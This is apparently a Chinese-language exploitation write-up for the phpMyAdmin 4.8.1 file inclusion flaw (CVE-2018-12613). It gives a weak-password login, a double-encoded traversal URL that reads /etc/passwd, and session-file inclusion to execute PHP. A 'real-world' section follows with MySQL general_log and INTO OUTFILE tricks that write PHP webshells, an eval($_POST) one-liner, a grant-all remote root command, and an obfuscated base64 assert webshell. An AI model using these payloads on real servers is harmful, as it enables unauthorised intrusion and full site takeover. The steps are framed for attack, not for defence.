phpmyadmin 4.8.1 遠程文件包含漏洞(CVE-2018-12613)
phpMyAdmin是一套開源的、基於Web的MySQL數據庫管理工具。其index.php中存在一處文件包含邏輯,
通過二次編碼即可繞過檢查,造成遠程文件包含漏洞。
受影響版本:
phpMyAdmin 4.8.0和4.8.1受到影響。
漏洞復現:
本次實驗環境基於docker搭建,啟動環境,使用一波phpmyadmin的弱口令,像
root/root,root/123456,root/toor....登進后台
不得不說phpmyadmin自從2.x版本有個前台登陸繞過后,到現在前台還沒出現過其他的漏洞,
希望廣大伙伴多多挖掘呀!!
使用弱口令 test/test ,成功登陸phpmyadmin后台:
訪問 http://192.168.0.132:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,
可見/etc/passwd被讀取,說明文件包含漏洞存在:
利用方式也比較簡單,可以執行一下 SELECT '<?php phpinfo()?>'; ,然后查看自己的sessionid(cookie中phpMyAdmin的值):
這樣對應的SESSION文件為 /tmp/sess_sessionid
然后在網址中包含session文件即可:
可以看到順利執行了phpinfo();
可想而知如果我們select一個php一句話木馬,用菜刀連接,整站就可以被我們控制。
.......
實戰演練:
到phpmyadmin后台后,getshell方法還很多,比如利用改變寫入的日志的路徑,寫入我們的一句話木馬,
首先呢,介紹兩個MySQL全局變量(general_log、general_log file)
- general log 指的是日志保存狀態,一共有兩個值(ON/OFF)ON代表開啟 OFF代表關閉。
- general log file 指的是日志的保存路徑
mysql 5.0版本以上會創建日志文件,修改日志的全局變量,也可以getshell。但是也要對生成的日志有可讀可寫的權限。
查看日志狀態:
SHOW VARIABLES LIKE 'general%'
;
當 general_log=ON 時,所執行的sql語句都會出現在 /var/lib/mysql/1e164993aaf5.log 文件
那么,如果把 general_log_file 的路徑修改為 /var/lib/mysql/1.php,那么所執行的sql語句就會保存在
1.php中,如果我們執行一個php小馬,就可以getshell:
SET GLOBAL general_log='on'
SET GLOBAL general_log_file='D:/wwwroot/1.php'
如果輸入不存在的路徑時:
或許我們可以利用這個來探測目錄結構,如果路徑正確的話
這樣的話在相應的目錄下就會生成一個1.php,由於我們是實戰,所以無法截圖...
再次查看日志的狀態:
OK!!!滿足要求!
將一句話木馬寫入1.php文件,既然是日志文件,我們select查詢自然也會被保存在日志里面:
我們構造 :select '<?php phpinfo();?>'
這時候相當於我們把 <?php phpinfo();?> 寫入到日志 1.php中,我們嘗試訪問
日志文件:1.php
成功getshell!!!
-------------------------------------------------------
還有一種方法就是一句話木馬的寫入:
select '<?php eval($_POST[cmd]); ?>' into outfile 'D:/phpStudy/www/1.php';
當然,前提是你得知道網站的絕對路徑,方法也有很多,比如通過報錯獲取路徑,通過phpinfo.php等等
但在新版的mysql中,這句話並沒有運行成功,應為mysql新特性secure_file_priv會對讀寫文件產生影響,
該參數用來限制導入導出,可以查看該參數:
當secure_file_priv為NULL時,表示限制mysql不允許導入導出。所以爆出錯誤
要想使得該語句導出成功,則需要在mysql文件夾下修改my.ini 文件,
在[mysqld]內加入secure_file_priv ="" 即可
當secure_file_priv的值沒有具體值時,表示不對mysqld 的導入|導出做限制
此時就可以執行導出命令,這里不再復現
附一個數據庫開啟外鏈的命令:
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root密碼' WITH GRANT OPTION;
SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['bmjoker']));?>"